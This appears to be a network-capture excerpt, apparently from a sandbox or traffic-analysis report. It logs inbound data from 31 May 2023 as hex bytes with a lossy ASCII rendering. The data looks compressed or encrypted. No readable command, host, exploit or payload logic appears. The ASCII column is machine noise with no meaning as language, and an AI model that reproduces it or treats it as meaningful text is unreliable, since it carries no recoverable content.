2023-05-31 10:22:21 UTC	1156	IN	Data Raw: c4 59 35 25 c5 ce 20 6e a1 61 0b 1f 74 0b 1d 33 9f 28 0e 3a 60 0e f1 9a a4 04 bd 26 c7 ca 36 fd c1 28 cd 43 3c 1a 93 04 db 7c d5 47 82 2d 28 5e 7a 61 17 1d f4 d2 1b ab 3d b9 62 0b 8a 07 1d 0b 48 0f ba b1 fa a3 83 2d 28 de 6d 49 07 5b 70 65 d3 e4 a0 2b d7 58 d9 74 3f 18 5a 79 ac a7 a1 e8 4d 35 c4 69 2a 4c 7a 83 4e 53 63 ed 27 57 fc 06 d7 d3 1e 34 d0 0d 31 d0 25 e5 fc 06 d7 d3 50 34 d0 0d 31 d0 31 57 34 d0 8d fd 34 14 63 2e 8f fd 34 14 2d 77 63 67 bb e8 a0 e5 6e 88 cb 0d 73 45 97 9b b1 b3 5d 74 d0 a4 37 c4 a4 97 72 c5 36 df ed d1 c1 af 56 2c 77 61 49 1d b4 dc 8d fd b4 39 63 2e 8f 9d ed d4 83 a1 95 c7 7e b6 32 34 e9 8d 3d 9e 4a e4 57 fb 98 f4 06 4d 7a 63 3f 5f 2d 5f 9c 1a 8f 5f c6 a0 ad 6f ec a7 33 d0 d6 77 87 dd 9c dd c3 6a 17 ab 1a 25 68 55 1b 27 1b fb 07 Data Ascii: Y5% nat3(:`&6(C<\|G-(^za=bH-(mI[pe+Xt?ZyM5i*LzNSc'W41%P411W44c.4-wcgnsE]t7r6V,waI9c.~24=JWMzc?_-__o3wj%hU'
2023-05-31 10:22:21 UTC	1172	IN	Data Raw: 5d 14 fd 85 92 4f f7 17 bd 03 a7 de 0d 47 a7 9e 61 f1 d2 cf 2e 9c d2 0d a9 84 3c 7c 16 cf f3 01 a9 c4 96 d3 da b8 37 21 08 b6 8c 2d 47 c5 61 48 31 34 c1 d0 2d b2 1d 48 1b da c6 e8 1a 3c de 3e 4e 45 15 49 cd c6 d0 02 86 ba 31 ec fb f8 1d 49 c5 f7 21 63 a0 f8 4c d8 3c 68 68 82 a1 71 0d ec 4a 8c 21 53 2e a3 87 bf 4d 0e 54 9d 21 53 aa 8d 25 86 c0 98 1a 85 d6 25 a6 9b a9 e4 19 33 86 2f 30 64 d9 95 f9 e7 b8 3b a5 21 cb d5 38 8d 9e 35 8a 6c 14 95 25 f8 27 0e ef 0d 99 0e b1 46 87 3f 9c 21 4b 4a 6e 19 86 69 d2 90 65 17 11 62 51 8e 88 10 7b 49 bb 14 6b 0e 34 86 90 94 5d 3f 75 89 b8 7e 2a f7 b7 c6 8a ce a0 68 3a 63 fb 4b 98 40 a6 fc ce 17 93 dd 47 11 24 ee 0a 37 6e 6d 19 b2 5c dd 1f ba fc 1b b2 a4 4e d5 23 53 db 98 28 b2 89 65 9f ad 4e 53 36 5e 19 52 1d 12 15 9e 77 Data Ascii: ]OGa.<\|7!-GaH14-H<>NEI1I!cL<hhqJ!S.MT!S%%3/0d;!85l%'F?!KJniebQ{Ik4]?u~*h:cK@G$7nm\N#S(eNS6^Rw
2023-05-31 10:22:21 UTC	1188	IN	Data Raw: 94 2b 3c 7d a4 a4 be 0c 14 12 f6 32 90 92 9d cb 41 43 a8 92 3d b9 19 55 e4 95 68 6f 41 84 c4 f6 af 56 c2 9f 6d d6 ee f9 4c 4f ea 7c 4e 2a b9 20 97 28 a9 8b 4a c0 2e 74 51 5c af 0b 09 5c af 13 52 6f c5 87 44 f5 ef 5c a2 64 a5 36 3f f6 74 85 91 a9 53 2b 42 7b 9c 36 52 ed 9e 36 bc 76 ed 75 c7 90 68 cb 6b f7 f4 38 1e 00 f2 a4 16 e7 0f 43 ce d8 25 97 63 97 28 87 c6 9a 0c 89 8d d9 b9 c8 85 77 b6 a0 a2 ea 8c 70 3c 01 72 89 52 d8 1e 8a 3a 18 69 2b 63 c8 25 6a 9f 49 a2 fa 87 73 3e 35 dc 48 0c d9 6a e9 92 eb 93 73 b5 3e 91 2b bd 1a 1a 12 0b 96 a2 4b ee 36 92 84 ef 8a 84 9c 39 57 7b 7a ae ca e7 b0 ae 14 41 a2 58 98 5d 48 94 82 b5 a8 90 dc f0 2a 42 9b 4b b7 62 9b 2b 9a 60 d4 34 b1 1c bf 82 21 64 4f df c7 f1 4b 4d 4a ae 54 8e 82 8b 6c 42 8e 91 ea aa 8c e1 75 95 ee 4d Data Ascii: +<}2AC=UhoAVmLO\|N* (J.tQ\\RoD\d6?tS+B{6R6vuhk8C%c(wp<rR:i+c%jIs>5Hjs>+K69W{zAX]H*BKb+`4!dOKMJTlBuM
2023-05-31 10:22:21 UTC	1204	IN	Data Raw: 01 c4 ac 1a 5e 0c b1 e2 36 7b 31 e4 90 33 de 1f 54 c4 ac 64 eb ce 22 47 2a 62 3d 3a bc 6a fc a2 80 58 8f be e5 fd 41 9d f5 29 a2 f0 51 e3 fd 41 20 8e 2b 99 6b 87 66 00 a2 f0 91 35 03 50 b1 84 e6 a7 3f 15 51 f8 d8 b1 56 53 44 e1 f3 11 03 69 1c 82 c8 31 4b bc db a7 88 32 26 1e 38 b1 52 4d 7b e0 e4 90 eb 99 d1 56 82 58 dc f5 89 c7 ab 14 51 f8 c2 91 66 e3 58 76 a4 59 ea 13 31 fb 15 51 f8 c6 cb 27 c6 b1 ed e5 93 63 5b 3f e1 eb 53 d4 98 80 07 4e d8 51 40 5a aa f2 e0 81 13 66 05 54 98 80 07 4e 28 1c 88 32 0a 1e 38 a1 5a 02 a2 8c 82 07 4e d8 88 82 38 12 4b ad e1 ec 57 44 19 15 4f 3e b0 49 80 28 a3 e1 c9 07 13 de ec c9 87 05 0d 6e 33 00 20 0e d1 d2 f0 e4 83 be bb a4 88 15 ec 08 2e 64 1c dd 82 0b 1d 12 4f 3e 50 53 03 51 f8 18 f1 04 07 10 47 a2 bc b7 7e 46 22 75 22 Data Ascii: ^6{13Td"G*b=:jXA)QA +kf5P?QVSDi1K2&8RM{VXQfXvY1Q'c[?SNQ@ZfTN(28ZN8KWDO>I(n3 .dO>PSQG~F"u"
2023-05-31 10:22:21 UTC	1220	IN	Data Raw: 97 f6 a9 47 d2 d1 5f 7a 69 9f 76 0a 42 7c 67 2f ed d3 4e 19 48 39 69 9f 96 52 09 b9 28 ed d3 2e 50 90 72 d2 be c7 c0 fb 81 7f 46 69 9f b2 43 04 29 c0 d9 50 da 17 1d d7 dc 5c 1b 26 69 9f b2 1d 02 29 d5 d9 50 da 97 14 fb 1a 14 3a 1b 4a fb 94 37 bb eb 35 21 b7 86 d2 3e 6d e5 12 fe 39 48 fb 94 9d 1b 39 7f ca c5 ab d3 56 2f a9 4f da a7 9d 3e 90 fa a4 7d 8f ef 2c 7f 30 0e 59 da a7 5d 66 28 f4 65 69 df e3 f7 b0 de e2 f6 33 ca 49 fb 94 2b 37 a4 7f ca 74 a5 d3 ae 88 14 72 a3 b4 cf 07 f1 cf 86 d2 be c7 0f 4a 3c f0 33 99 48 74 5a 26 21 d6 87 51 da a7 41 75 31 7e 93 b4 4f d9 50 83 94 f8 6c 28 ed d3 88 1c 22 de 27 69 9f 46 8c 90 fa a4 7d da 05 5c 42 6e 96 f6 29 1b 4d 72 1d 9b a5 7d b3 77 fe 9c a5 7d ca 1e 15 c9 49 fb 1e df e8 fe a0 3f 17 69 9f 76 e0 5a e4 05 8b b4 ef Data Ascii: G_zivB\|g/NH9iR(.PrFiC)P\&i)P:J75!>m9H9V/O>},0Y]f(ei3I+7trJ<3HtZ&!QAu1~OPl("'iF}\Bn)Mr}w}I?ivZ
2023-05-31 10:22:21 UTC	1236	IN	Data Raw: 79 0c fd 76 a5 55 d0 fb 1c 58 20 0a 58 30 28 60 a2 6f 29 3e 75 0a 98 f0 04 8a 4f 9d 02 26 be 96 e2 d3 fb 1c 58 20 0a 58 30 28 60 38 6b ae 14 9f 3a 05 4c d8 49 f1 a9 3f 07 86 3a 37 8a 4f 9d 3c 86 9e b0 51 7c ea e4 31 a1 93 e2 53 27 8f 09 9d 14 9f 3a 79 4c e8 a4 f8 d4 9f 03 13 27 52 29 3e f5 e7 c0 84 24 c5 a7 4e 3b 13 92 14 9f de e7 c0 02 d1 ce 82 41 3b c3 28 db 28 3e 75 da 19 7a df 46 f1 a9 d3 ce 84 4e 8a 4f 9d 76 86 f1 b9 51 7c ea 4f 90 61 96 ba f1 11 63 f7 fa b9 51 7c 7a 09 6b 81 c8 63 c1 22 8f 81 ce 9d 62 c5 4b 1e 0b 44 1e 0b c6 43 62 42 27 c5 ca 9e 1f 0b dd 24 b1 aa be 93 f7 5d 7e 3b cf c2 ee e4 7d 5e 3a 56 20 3a 56 30 e8 58 62 54 c8 fb 74 3a 16 22 d7 9d bc cf 78 9a 0b fb 96 bc cf 4b c7 0a 44 c7 ba fe 76 9e 63 dc 69 75 f0 3e cd 15 88 8e 15 0c 3a 16 ce Data Ascii: yvUX X0(`o)>uO&X X0(`8k:LI?:7O<Q\|1S':yL'R)>$N;A;((>uzFNOvQ\|OacQ\|zkc"bKDCbB'$]~;}^:V :V0XbTt:"xKDvciu>:
2023-05-31 10:22:21 UTC	1252	IN	Data Raw: b6 05 0e ac 5b ab 59 31 fc 52 bb 04 d6 ad d5 ac 18 d6 35 79 85 75 6b 35 d7 ad 7a 4e 69 85 75 6b 35 2b 86 ad 27 61 dd 5a cd 05 08 c4 26 10 9b 5f e7 4d 7b 83 b9 f5 e4 ad 69 64 59 cf 41 bb b7 a6 49 c8 7a 47 70 5f 40 ec 79 51 e4 4e 65 2b 6c ac e6 7a 59 c5 f0 9d 25 ed 8d a5 9b d8 bb cf 55 6c 04 31 bf 36 58 2f 37 73 bd ac 53 df 06 c8 70 33 91 e1 af 25 89 c6 f7 9c 36 73 99 6d 1f 09 2b dd 66 ae 74 35 60 37 58 e9 36 73 2b af 4e 46 e7 53 51 63 04 28 53 ff c1 a1 b2 ac 8c 28 eb fd 5c 58 2a 37 73 a9 6c 62 b0 54 6a 6f 55 71 9f c2 9a a7 3d 54 45 b1 b0 c1 9a b7 99 6b 5e ad ab e2 03 57 da e3 56 37 b1 0a 64 37 58 f3 36 73 cd 6b 5d 02 6b 9e f6 20 16 7b 27 ac 79 db 68 0d 40 eb 49 58 bc 36 73 f1 aa 0b f3 06 a0 6b 33 17 af 8a 43 f1 09 2d ed f9 2c ee 12 58 bc 36 13 74 d5 42 1e Data Ascii: [Y1R5yuk5zNiuk5+'aZ&_M{idYAIzGp_@yQNe+lzY%Ul16X/7sSp3%6sm+ft5`7X6s+NFSQc(S(\X*7slbTjoUq=TEk^WV7d7X6sk]k {'yh@IX6sk3C-,X6tB
2023-05-31 10:22:21 UTC	1255	IN	Data Raw: 5a 15 03 af b5 31 76 15 c3 9e f5 63 ec 01 30 f6 e0 c7 d8 03 60 ec c1 bf 6b 39 00 c6 1e fc 18 7b 00 8c 3d d8 18 bb c6 16 60 ec c1 bf 6b 39 00 c6 1e 6c 8c 5d 6d 03 8c 3d f8 31 f6 00 18 7b b0 31 76 8d 7e c0 d8 83 1f 63 0f 80 b1 07 ff 29 b8 01 30 f6 e0 3f 05 37 00 c6 1e fc 18 7b 80 5d cb c1 cf 2b 1a 60 d7 72 70 f0 8a 8a 6d 80 e8 07 ff 29 b8 01 10 fd e0 47 f4 03 20 fa c1 8f e8 07 40 f4 83 83 57 54 32 17 40 f4 83 1f d1 0f b0 6b 39 d8 bb 96 35 de a0 10 30 f8 0b 01 03 14 02 06 ff 29 b8 01 0a 01 83 bf 10 30 c0 ae e5 60 ef 5a 56 2f 81 fa c1 e0 af 1f 0c 50 3f 18 fc bc a2 01 ea 07 83 bf 7e 30 40 fd 60 b0 eb 07 df ff b5 88 81 6d 7e 5e d1 00 f5 83 c1 5f 3f 18 a0 7e 30 f8 79 45 03 d4 0f 06 ff 66 e7 00 f5 83 c1 bf d9 39 40 fd 60 b0 eb 07 a5 16 39 40 fd 60 f0 f3 8a 06 a8 Data Ascii: Z1vc0`k9{=`k9l]m=1{1v~c)0?7{]+`rpm)G @WT2@k950)0`ZV/P?~0@`m~^_?~0yEf9@`9@`
2023-05-31 10:22:21 UTC	1271	IN	Data Raw: 6e f4 1f e0 1b 01 c1 8d 36 82 ab 1f 09 08 6e b4 11 5c 7d 05 2b 80 6d c1 9d d0 8f 80 e0 46 ff e6 d6 08 08 6e f4 df ed 30 02 82 1b 6d 04 57 b5 01 82 1b fd 4f 41 8c 80 e0 46 fb 00 5f d3 06 b6 d9 40 ac a4 6a 23 00 b1 d1 06 62 75 b8 01 88 8d fe 03 7c 23 00 b1 d1 7f 80 6f 04 44 35 da 88 aa 00 b1 11 a0 d1 68 43 a3 da 25 00 8d 46 3f 34 1a 01 1a 8d fe a7 f7 46 80 46 a3 0d 8d 6a 4f 02 34 1a fd 9b 5b 23 40 a3 d1 86 46 55 0c a0 d1 e8 7f 0a 62 04 68 34 3a 8e d4 fd 5a c4 c0 36 ff 33 7c 23 40 a3 d1 bf b9 35 e2 4b 7c 36 34 6a 62 60 db 9f 79 8c 0f 6c b3 a1 d1 e7 2a 06 b6 f9 37 b7 46 80 46 a3 0d 8d ea 47 02 34 1a fd 47 ea 46 c0 38 a3 ff 6c dc 08 18 67 f4 bf b1 37 02 c6 19 fd af ec 8d 80 71 46 ff 6d 0b 23 60 9c d1 8f 71 46 c0 38 a3 e3 48 5d 15 03 db fc bb 54 23 60 9c d1 c6 Data Ascii: n6n\}+mFn0mWOAF_@j#bu\|#oD5hC%F?4FFjO4[#@FUbh4:Z63\|#@5K\|64jb`yl*7FFG4GF8lg7qFm#`qF8H]T#`
2023-05-31 10:22:21 UTC	1287	IN	Data Raw: 74 b0 cf a4 c4 06 fe 21 74 b0 cf ee de 80 3d 42 07 fb 6c c9 0d fc 43 e8 60 97 ba 01 b2 84 0e f6 39 b8 36 f0 0f a1 83 7d 76 c0 06 a4 13 3a d8 e5 23 81 74 42 07 bb 78 43 1c d2 3a d8 01 3a d8 c1 e8 60 17 6f 00 48 a1 83 7d 99 c1 9b 4f 5d 6d 00 48 a1 83 7d a6 1c 37 00 a4 d0 c1 2e de 40 5b b4 0e 76 80 0e 76 30 3a d8 c5 1b 30 60 f3 5b 33 1b 70 55 e8 60 17 6f c0 55 a1 83 5d bc 01 57 85 0e 76 f1 06 a0 12 82 d6 c5 0c 40 25 04 ad ff 5d cc e0 ed 07 de 61 e7 43 ec e2 66 ce 7f 9c 66 f0 e6 f7 58 36 00 95 10 b4 2e 75 03 50 09 41 eb e2 0d 40 25 04 ad 4b 77 03 a8 84 a0 75 f1 06 a0 12 82 d6 c5 1b 80 4a 08 5a 9f 66 3b 80 4a 08 5a ff f4 af 0f 33 20 8e 56 a6 0e 50 a6 0e 46 99 fa cc 41 ed 40 1c a1 4c 7d c6 92 1d 88 a3 95 a9 03 94 a9 83 57 a6 0e 90 98 0e 4a 62 fa 6f a7 19 3e d2 Data Ascii: t!t=BlC`96}v:#tBxC::`oH}O]mH}7.@[vv0:0`[3pU`oU]Wv@%]aCffX6.uPA@%KwuJZf;JZ3 VPFA@L}WJbo>
2023-05-31 10:22:21 UTC	1295	IN	Data Raw: dd f9 5e dd d9 57 77 be 57 77 f6 d5 9d ef d5 5d 74 75 97 7b 75 17 5f dd e5 5e dd c5 57 77 b9 57 77 f1 d5 5d ee d5 dd 74 75 b7 7b 75 37 5f dd ed 5e dd cd 57 77 bb 57 77 f3 d5 dd ee d5 6d 44 39 b8 bd 47 b9 b7 7f 90 d5 3d ee d5 3d 7c 75 8f 7b 75 0f 5f dd e3 5e dd ac ab 9b ef d5 cd be ba f9 5e dd ec ab 9b ef d5 cd be ba b9 aa ee 83 3c 7f 6d 56 fb ed 69 f6 03 49 1b 66 6d 7c da a6 47 de a6 f7 b4 be 07 ad ff 48 bd 2b b3 00 33 9f 0d 78 fb ff 4e b3 e8 cd 90 0d e8 7d 36 a0 07 31 7b fc 1e ac 19 b2 01 bd cf 06 f4 c8 06 f4 ed 6c 40 31 43 36 a0 f7 c9 a9 1e d9 a9 c7 6f 5d 37 24 11 7a 9f 44 e8 91 44 e8 f3 8f a4 12 8b d9 e3 b7 1d 5c 03 26 ce e0 27 ce 80 89 33 fc 40 be 13 33 60 18 bd 19 06 d7 e0 53 4d 03 fa 6d f0 fd 36 a2 25 c7 76 42 bb 98 a1 6e a3 9f dd cc 68 bc 4c 48 dc Data Ascii: ^WwWw]tu{u_^WwWw]tu{u7_^WwWwmD9G==\|u{u_^^<mViIfm\|GH+3xN}61{l@1C6o]7$zDD\&'3@3`SMm6%vBnhLH
2023-05-31 10:22:21 UTC	1297	IN	Data Raw: 7a 7e 6d 98 5f 9b 9e 5f 1b e6 d7 a6 f9 d7 86 f9 b5 e9 f9 b5 61 7e 6d 7a 7e 6d 98 5f 9b 9e 5f 1b 66 ca a6 67 ca 86 99 b2 e9 99 b2 61 a6 6c 7a a6 6c 98 29 9b ce 54 6c 98 29 9b 9e 29 1b 66 ca d6 98 29 e8 65 cc 94 4d cf 94 0d 33 65 d3 33 65 c7 4c d9 f5 4c d9 31 53 76 3d 53 76 cc 94 bd ff d2 e2 de 1c 3b a6 ca ae a1 68 c7 54 d9 f5 54 d9 31 55 76 3d 55 76 4c 95 5d 4f 95 1d 50 b4 6b 28 da 31 c1 76 4d a5 76 4c b0 5d 4f b0 1d 13 ec f1 bb db ac 55 57 0d ab f7 bf bf b4 7c 3e c5 83 92 dd cd b2 79 a9 af 94 ec 2b 4b 5b 47 84 83 5d 87 83 1d e1 60 d7 e1 60 47 38 d8 75 38 d8 11 0e 76 1d 0e 76 84 83 5d 87 83 8c 7e cb 3a 1c 64 f4 59 d6 e1 20 a3 bf 72 03 38 af d6 c8 88 06 59 47 83 8c 68 90 75 34 c8 88 06 59 47 83 8c 68 90 75 34 c8 88 06 59 47 83 8c 68 e0 2e 01 be 95 44 34 70 Data Ascii: z~m__a~mz~m__fgalzl)Tl))f)eM3e3eLL1Sv=Sv;hTT1Uv=UvL]OPk(1vMvL]OUW\|>y+K[G]``G8u8vv]~:dY r8YGhu4YGhu4YGh.D4p
2023-05-31 10:22:21 UTC	1313	IN	Data Raw: e9 08 59 e9 68 64 a5 8b 19 1f 87 f8 91 d7 21 e0 cd 67 fe 26 e0 94 90 95 2e 63 12 38 25 64 a5 8b 19 08 95 96 95 8e 90 95 8e 5e 56 3a 42 56 3a 7a 59 e9 08 59 e9 e8 65 a5 23 64 a5 a3 91 95 2e 4d 02 78 13 b2 d2 c5 1b e0 4d cb 4a 3f 8a 02 70 26 0f 38 13 00 67 f2 80 33 01 70 84 ac f4 d9 24 33 00 47 c8 4a 9f de 66 00 8e 96 95 8e 90 95 8e 5e 56 3a 42 56 3a 7a 59 e9 08 59 e9 e8 65 a5 23 64 a5 a3 97 95 8e 90 95 8e 46 08 fa 32 83 37 8f 38 33 10 47 0b 41 47 08 41 47 2f 04 1d 21 04 1d bd 10 74 84 10 74 34 42 d0 65 4c 02 71 b4 10 74 84 10 74 34 42 d0 c5 0c 88 a3 85 a0 23 84 a0 a3 17 82 8e 10 82 8e 5e 08 3a 42 08 3a 7a 21 e8 08 21 e8 e8 85 a0 23 84 a0 a3 17 82 8e 10 82 8e 5e 08 3a 42 08 3a 7a 21 e8 08 21 e8 e8 85 a0 23 84 a0 a3 17 82 8e 10 82 8e 5e 08 3a 42 08 3a 7a 21 Data Ascii: Yhd!g&.c8%d^V:BV:zYYe#d.MxMJ?p&8g3p$3GJf^V:BV:zYYe#dF2783GAGAG/!tt4BeLqtt4B#^:B:z!!#^:B:z!!#^:B:z!
2023-05-31 10:22:21 UTC	1329	IN	Data Raw: 50 a7 00 ea 3b 80 3a 05 50 df 01 d4 29 80 fa 0d a0 4e 2e f0 f4 1d 40 9d 5e e0 e9 3b 80 3a 05 50 df 01 d4 29 80 fa 0d a0 4e 00 d4 77 00 75 0a a0 be 03 a8 53 00 f5 1d 40 9d 02 a8 ef a2 e9 54 34 7d 17 4d a7 a2 e9 bb 68 be 17 d1 60 72 dc 25 83 88 66 ec a2 19 f4 6a cd d8 45 33 a8 68 c6 2e 9a f7 e2 73 dd 2d 9a 41 44 33 76 d1 0c 2a 9a b1 8b 66 50 d1 8c 5d 34 83 5e ad 19 b7 68 06 11 cd d8 45 33 a8 68 c6 2e 93 41 27 e0 8c 9d 1a 83 52 63 ec d4 18 94 1a 63 a7 c6 a0 33 6a c6 4d 8d 41 a8 31 76 6a 0c 4a 8d b1 53 63 50 6a 8c 9b 0c 83 90 61 ec 64 18 94 0c 63 bf 1c 32 e8 e5 90 b1 53 63 50 6a 8c 9b 1a 83 50 63 ec d4 18 94 1a 63 a7 c6 a0 d4 18 3b 35 06 a5 c6 b8 a9 31 08 35 c6 4e 8d 41 af 9e 8c 9d 1a 83 52 63 ec d4 18 94 1a e3 a6 c6 20 d4 18 3b 35 06 a5 c6 d8 af 9e 0c 7a f5 Data Ascii: P;:P)N.@^;:P)NwuS@T4}Mh`r%fjE3h.s-AD3v*fP]4^hE3h.A'Rcc3jMA1vjJScPjadc2ScPjPcc;515NARc ;5z
2023-05-31 10:22:21 UTC	1345	IN	Data Raw: c9 ce f5 9c 79 dd bf 9b 84 5e 1f 1f ec 71 ec 5c 12 7b 19 9e 7b 19 09 be cc 73 f2 75 77 53 89 be cc 73 f6 75 6f 12 09 bf cc 73 fa 75 ef 25 12 7f 99 e7 fc eb 3e e0 49 00 66 9e 13 b0 fb d3 24 02 33 cf 19 d8 ba 58 25 9b e4 39 05 5b 9f 26 7b c9 73 a4 75 ef ca 12 4f 19 9e 4f 19 09 a8 cc 73 42 75 8f 4b 24 a2 32 cf 19 d5 fa 34 f9 dd 78 e0 64 24 71 32 cf 91 d3 bd 25 25 73 32 cf a1 d3 fd 25 25 75 32 cf b1 d3 2a 93 5d 19 04 4f 77 99 5e 9e e4 23 3c c9 9e cc 73 f8 74 9f bb 25 7d 32 cf f1 d3 fd 69 92 3f 99 e7 00 ea 6e 9b 24 50 e6 39 82 ba cf 38 92 41 99 e7 10 ea 3e 2d 4a 0a 65 9e 63 a8 75 a5 57 da f6 9c 29 dd 7e 93 50 c9 3c a7 4a f7 a9 43 62 a5 8f 4f cf 39 bf a4 ec 25 cf c9 d2 7d c0 93 68 e9 e3 b3 6c 8e 4f 93 70 c9 3c a7 4b ab 4c b6 e4 73 be b4 ca 64 4b f2 84 c9 48 c4 Data Ascii: y^q\{{suwSsuosu%>If$3X%9[&{suOOsBuK$24xd$q2%%s2%%u2*]Ow^#<st%}2i?n$P98A>-JecuW)~P<JCbO9%}hlOp<KLsdKH
2023-05-31 10:22:21 UTC	1359	IN	Data Raw: f6 5a 55 da 86 19 f6 5a 55 da c6 21 66 04 62 86 43 cc 08 c4 0c 87 98 11 88 19 0e 31 23 10 33 1c 62 46 20 66 38 c4 8c 40 cc 70 88 19 81 98 e1 10 33 02 31 c3 21 66 04 62 86 43 cc 08 c4 0c 87 98 11 88 19 0e 31 23 10 33 1c 62 46 20 66 38 c4 8c 40 cc 70 88 19 81 98 e1 10 33 02 31 c3 21 66 04 62 86 43 cc 08 c4 0c 87 98 11 88 19 0e 31 23 10 33 1c 62 46 20 66 38 c4 8c 40 cc 70 88 19 81 98 e1 10 33 02 31 c3 21 66 04 62 86 43 cc 08 c4 0c 87 98 11 88 19 0e 31 23 10 33 1c 62 46 20 66 38 c4 8c 40 cc 70 88 19 81 98 e1 10 33 02 31 c3 21 66 04 62 86 43 cc 08 c4 0c 87 98 11 88 19 0e 31 23 10 33 1c 62 46 20 66 38 c4 8c 40 cc 70 88 19 81 98 e1 10 33 02 31 c3 21 66 04 62 86 43 cc 08 c4 0c 87 98 11 88 19 0e 31 23 10 33 1c 62 46 20 66 38 c4 8c 40 cc 70 88 19 81 98 e1 10 33 02 Data Ascii: ZUZU!fbC1#3bF f8@p31!fbC1#3bF f8@p31!fbC1#3bF f8@p31!fbC1#3bF f8@p31!fbC1#3bF f8@p31!fbC1#3bF f8@p3
2023-05-31 10:22:21 UTC	1375	IN	Data Raw: fc e6 b8 df 9c f8 cd 71 bf 39 f1 9b e3 7e 73 e2 37 c7 fd e6 c4 6f 8e fb cd 89 df 1c f7 9b 13 bf 39 ee 37 27 7e 73 dc 6f 4e fc e6 b8 df 9c f8 cd 71 bf 39 f1 9b e3 7e 73 e2 37 c7 fd e6 c4 6f 8e fb cd 89 df 1c f7 9b 13 bf 39 ee 37 27 7e 73 dc 6f 4e fc e6 b8 df 9c f8 cd 71 bf 39 f1 9b e3 7e 73 e2 37 c7 fd e6 c4 6f 8e fb cd 89 df 1c f7 9b 13 bf 39 ee 37 27 7e 73 dc 6f 4e fc e6 b8 df 9c f8 cd 71 bf 79 f1 9b e7 7e f3 5f 5e ca 70 db bc f8 cd 73 bf 79 f1 9b e7 7e f3 e2 37 cf fd e6 c5 6f 9e fb cd 8b df 3c f7 9b 17 bf 79 ee 37 2f 7e f3 dc 6f 5e fc e6 b9 df bc f8 cd 73 bf 79 f1 9b e7 7e f3 e2 37 cf fd e6 c5 6f 9e fb cd 8b df 3c f7 9b 17 bf 79 ee 37 2f 7e f3 dc 6f 5e fc e6 b9 df bc f8 cd 73 bf 79 f1 9b e7 7e f3 e2 37 cf fd e6 c5 6f 9e fb cd 8b df 3c f7 9b 17 bf 79 ee Data Ascii: q9~s7o97'~soNq9~s7o97'~soNq9~s7o97'~soNqy~_^psy~7o<y7/~o^sy~7o<y7/~o^sy~7o<y
2023-05-31 10:22:21 UTC	1391	IN	Data Raw: 47 15 03 bb f1 98 0f 5b 82 20 e6 e3 7c 96 71 30 c4 7c 44 1e f3 51 5f 12 ec c6 eb 11 db 5a 02 a1 22 51 0f 15 89 10 2a 12 79 a8 88 99 1b 42 45 22 cf 2c b7 d9 9d c1 6e 8f ff e4 b7 62 3f fe 01 62 cb c7 45 76 79 df 2f ff 00 d9 f5 2a fb fe 75 ab 5e 18 2f 9c 74 2a 5c 55 04 d2 29 72 d2 c9 bc 38 90 4e 91 93 4e 36 3a 81 74 8a 3c a3 dd 36 6d 40 3a 45 4e 3a 99 5f 05 d2 29 72 d2 a9 64 4e 46 20 9d 22 27 9d 6c 0a 01 e9 14 79 22 bc 0d 6a 48 84 8f 3c 11 de 5e 12 b8 aa f3 59 9e e7 c0 55 45 9d ab 8a c0 55 45 ce 55 95 63 e9 08 5c 55 e4 5c 55 89 de 8f 40 3a 9d cf f4 90 a0 0c 65 20 9d 22 27 9d 4a 44 52 04 d2 29 ea a4 53 04 f6 28 0a f7 ef 9a 36 e8 49 9e d1 6e 43 19 d8 a3 c8 d9 23 db fe 02 7b 14 85 9c f6 32 df 80 3d 8a 9c 3d 2a 64 61 04 f6 28 0a b7 d4 96 b3 0c 60 8f 22 67 8f 4a Data Ascii: G[ \|q0\|DQ_Z"QyBE",nb?bEvy/u^/t\U)r8NN6:t<6m@:EN:_)rdNF "'ly"jH<^YUEUEUc\U\U@:e "'JDR)S(6InC#{2==da(`"gJ
2023-05-31 10:22:21 UTC	1407	IN	Data Raw: 49 1b 39 a9 19 39 37 f7 94 35 1a 9b 91 93 34 df 91 1a df d1 3f 4a 6c 34 e6 66 00 64 cd 77 e4 c6 77 dc dc 86 d6 68 6c 06 40 ee 6f 90 1a 8d cd 06 29 6b d8 2a 37 d8 2a 6b 23 27 37 23 a7 7f d6 da 6a 6c 46 4e d6 46 4e 6e 46 4e ee bb 80 46 63 e3 02 b2 b6 e6 e4 66 cd e9 87 e9 35 1a 97 66 cd e9 9f 29 37 1a 97 66 c8 2d da 9a b3 34 6b ce d2 1f 00 8d c6 66 00 2c da 9a b3 34 6b ce a2 d9 71 69 ec d8 a7 c1 1b 8d 6b d3 ab ab f6 8d 6b f3 8d ab f6 8d 6b f3 8d fd e3 f7 56 63 33 c8 57 6d ac ae cd 58 bd b9 de ab d1 d8 2c 8f fd 98 cd 46 e3 d6 f4 ea cd 95 5e 57 8d 5b 33 e4 c8 65 5e d6 ac 59 1e 37 cd 8e 5b 63 c7 7e 55 a6 56 63 b3 58 6d da 58 dd 9a b1 ba 69 27 48 5b e3 74 36 0d 95 6f cd d6 ba 1f 50 d1 68 dc 1b 3b ee 9a 1d f7 c6 8e bb 66 c7 bd b1 e3 ae ed 73 f6 c6 cd dd dc e3 d6 Data Ascii: I99754?Jl4fdwwhl@o)k7k#'7#jlFNFNnFNFcf5f)7f-4kf,4kqikkkVc3WmX,F^W[3e^Y7[c~UVcXmXi'H[t6oPh;fs
2023-05-31 10:22:21 UTC	1423	IN	Data Raw: 7e d4 be fd 6c 19 1a f1 f1 4d d7 bd 6a 1f 7b 5d 37 be 79 f9 57 ed 63 ef e5 df d0 06 17 ed d3 45 72 ba 1f ae af 7a a7 ce 70 7d 97 06 fe aa 77 bd 18 7b ed db b9 a3 78 bd d8 79 fd 78 53 e1 ef a2 73 bb 48 de c7 cf 5f 75 ee af 92 6f bc ff 45 e7 70 f9 ce 77 95 29 5f 75 0e f3 8b e4 8d d0 45 67 dd 14 f2 0b e6 6c 0b 50 4f 05 3c 27 21 cb da 5d 77 92 9e 9e 0a 98 8f ad 3b 49 2f ef 24 7d dd 49 0a b7 df 95 b5 bb 9e 0a 78 f9 00 da d7 ed a7 a7 db cf 2a 54 35 d1 53 81 82 d5 43 9d 38 bc f2 6c 0d 63 af 41 e9 f2 9e 35 d4 3d 6b a0 7b 56 d3 54 f7 ac 41 4e b2 08 75 cf ca cb e2 96 61 14 ea 01 74 a0 07 d0 26 54 17 ad 40 37 ba 05 76 87 ba d1 0d 74 a3 6b 42 75 a3 cb 6b 82 96 c0 cf 50 37 ba 8f c7 f7 99 6f e5 08 f5 d1 32 c3 7a fa f8 5b c9 7b fb de 72 bd 48 92 17 2d 3a eb e6 fa f1 f8 Data Ascii: 